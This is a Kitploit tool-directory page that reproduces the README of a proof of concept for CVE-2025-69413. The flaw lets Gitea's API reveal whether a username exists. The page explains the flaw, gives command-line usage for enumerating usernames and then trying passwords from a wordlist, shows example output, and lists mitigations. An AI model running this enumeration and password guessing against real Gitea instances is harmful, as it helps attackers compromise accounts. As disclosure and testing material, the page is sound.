Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-69413-PoC — CVE-2025-69413 — Gitea API user enumeration PoC via auth error differentiation | Kitploit
Ferramentas/GitHubGitHub/fuad00/cve-2025-69413-poc
Password AttacksVulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration TestingAuthenticationAPI Security
GitHubfuad00/cve-2025-69413-poc

CVE-2025-69413-PoC

CVE-2025-69413 — Gitea API user enumeration PoC via auth error differentiation

Ver Repositório
21 de out. de 2026Ainda não revisado
Compartilhar
Conteúdo não disponível no idioma solicitado. Mostrando versão em inglês.

CVE-2025-69413-PoC

Gitea user enumeration via differential API authentication responses.

⚠️ Disclaimer This project is published for educational and research purposes only. Use it solely against systems you are explicitly authorized to test (your own lab, a bug-bounty program, or with written permission from the owner). The authors accept no liability for any misuse, damage, or violation of law resulting from use of this code.


The vulnerability (CVE-2025-69413)

Gitea's apiAuth middleware (routers/api/v1/api.go) handled Basic-authentication failures by passing a detailed error message straight into the HTTP response. Because the payload differs between the user-does-not-exist case and the wrong-password case, an unauthenticated attacker can turn any /api/v1/* endpoint that performs Basic auth into a username-existence oracle — and even recover the internal uid of existing accounts.

The fix replaces the verbose responses with a generic static message ("invalid username or password") in both apiAuth and webAuth.

Observed response signatures

Response body (JSON)Meaning
{"message":"user does not exist [uid: 0, name: <u>, keyid: 0]", ...}username is not registered
{"message":"user's password is invalid [uid: N, name: <u>]", ...}username exists, leaked uid: N, password guess was wrong
{"message":"Email address does not exist [email: <e>]", ...}separate oracle branch for e-mail style principals

An additional wrinkle worth documenting: the e-mail path produces its own distinctive message, giving a third classifiable answer.

What this PoC does

  1. Stage 1 — user enumeration. Sends GET /api/v1/user with <candidate>:<dummy-password> and classifies the JSON response.
  2. Stage 2 — optional confirmation. For every confirmed user, tries a small wordlist; a correct password flips the answer to HTTP 200 and prints valid credentials found during testing.

Requirements

pip install -r requirements.txt     # requests

Python 3.9+.

Usage

Enumerate the built-in default list:

python3 exploit.py https://gitea.example.com

Enumerate a custom user list:

python3 exploit.py https://gitea.example.com -U users.txt

Probe one specific account:

python3 exploit.py https://gitea.example.com -u admin

Add a password-confirmation stage:

python3 exploit.py https://gitea.example.com -U users.txt -P passwords.txt

Full options:

positional:
  host                    base URL, e.g. https://gitea.example.com

optional:
  -U, --users-file        usernames file (one per line)
  -P, --passwords-file    candidate passwords file (stage 2)
  -u, --single-user       probe a single username
  --api-path              endpoint (default /api/v1/user)
  -t, --threads           parallel workers, default 4
  --delay                 per-thread delay between requests, seconds
  --proxy                 optional http(s) proxy
  --verify-tls            verify TLS certs (off by default for lab setups)

Be considerate: keep threads low (-t 4) and add delay when testing production systems you have permission to assess.

Example output

[*] Target: https://gitea.example.com/api/v1/user
[*] Probing 6 username(s)...
  [ ] admin                   NOT_FOUND      uid=       http=401
  [+] devops-admin            EXISTS         uid=1      http=401
  [~] [email protected]      EMAIL_UNKNOWN             http=401

Mitigations / remediation checklist

  • Upgrade Gitea to a release containing the generic-error patch.
  • As a workaround, restrict /api/v1/* at the reverse-proxy level and/or enforce rate limiting + fail2ban on repeated 401s.
  • Monitor logs for bursts of distinct usernames against a single endpoint — the attack produces exactly that pattern.

Responsible disclosure note

If you discover this behavior on a third-party instance, report it to their security contact rather than exploiting it beyond verification. Enumeration of real accounts may violate terms of service and local law where performed without authorization.

License

MIT

Baixar ferramenta

Ferramentas relacionadas

  • hashcat

    O utilitário de recuperação de senhas mais rápido e mais avançado do mundo

  • john

    John the Ripper jumbo - quebrador de senhas offline avançado, que suporta centenas de tipos de hash e cifras, e roda em muitos sistemas operacionais, CPUs, GPUs e até mesmo alguns FPGAs

  • thc-hydra

    hydra

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    750
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    Plataforma IMSI Catcher que implanta uma célula GSM falsa para intercetar SMS, injetar mensagens e rastrear dispositivos móveis

    739
  • 3

    Callisto

    jetp1ane/callisto

    Ferramenta automatizada de análise de vulnerabilidades binárias que descompila executáveis via Ghidra, verifica código pseudo-C com Semgrep e valida descobertas usando GPT-3.5-Turbo para reduzir falsos positivos.

    585
  • 4

    opencti

    opencti-platform/opencti

    Plataforma Aberta de Inteligência de Ameaças Cibernéticas

    550
  • 5

    DFRoot

    a2333c/dfroot

    Ferramenta de root para Android para Samsung Galaxy S25 Ultra (SM-S938B) que encadeia DirtyFrag CVE-2026-43284 e CVE-2026-43499 para obter root automaticamente no boot via KernelSU.

    414
  • 6

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    409

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →